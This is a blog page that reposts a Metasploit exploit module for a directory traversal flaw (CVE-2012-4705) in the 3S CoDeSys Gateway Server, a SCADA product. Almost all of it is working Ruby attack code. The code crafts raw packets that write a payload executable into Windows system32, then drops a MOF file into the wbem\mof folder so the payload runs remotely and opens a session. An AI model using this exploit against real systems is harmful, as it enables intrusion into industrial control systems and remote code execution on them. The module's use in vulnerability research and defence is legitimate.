Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86368974

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#   http://metasploit.com
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::WbemExec

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SCADA 3S CoDeSys Gateway Server Directory Traversal',
      'Description'    => %q{
          This module exploits a directory traversal vulnerability that allows arbitrary
        file creation, which can be used to execute a mof file in order to gain remote
        execution within the SCADA system.
      },
      'Author'         =>
        [
          'Enrique Sanchez <esanchez[at]accuvant.com>'
        ],
      'License'        => 'MSF_LICENSE',
      'References'     =>
        [
          ['CVE', '2012-4705'],
          ['OSVDB', '90368'],
          ['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf']
        ],
      'DisclosureDate' => 'Feb 02 2013',
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Windows Universal S3 CoDeSyS < 2.3.9.27', { }]
        ],
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(1211),
      ], self.class)
  end

  ##
  # upload_file(remote_filepath, remote_filename, local_filedata)
  #
  # remote_filepath: Remote filepath where the file will be uploaded
  # remote_filename: Remote name of the file to be executed ie. boot.ini
  # local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()
  def upload_file(remote_filepath, remote_filename, local_filedata = null)
    magic_code = "\xdd\xdd"
    opcode = [6].pack('L')

    # We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
    file = "..\\..\\" << remote_filepath << remote_filename << "\x00"
    pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4

    # Magic_code  + packing + size
    pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')

    tmp_pkt = opcode << file
    tmp_pkt += "\x00"*(0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata
    pkt << tmp_pkt

    print_status("Starting upload of file #{remote_filename}")
    connect
    sock.put(pkt)
    disconnect

    print_status("File uploaded")
  end

  def exploit
    print_status("Attempting to communicate with SCADA system #{rhost} on port #{rport}")

    # We create an exe payload, we have to get remote execution in 2 steps
    exe = generate_payload_exe
    exe_name = Rex::Text::rand_text_alpha(8) + ".exe"
    upload_file("windows\\system32\\", exe_name, exe)

    # We create the mof file and upload (second step)
    mof_name = Rex::Text::rand_text_alpha(8) + ".mof"
    mof = generate_mof(mof_name, exe_name)
    upload_file("WINDOWS\\system32\\wbem\\mof\\", mof_name, mof)

    print_status("Everything is ready, waiting for a session ... ")
    handler

    #Taken from the spooler exploit writen byt jduck and HDMoore
    cnt = 1
    while session_created? == false and cnt < 25
      ::IO.select(nil, nil, nil, 0.25)
      cnt += 1
    end
  end
end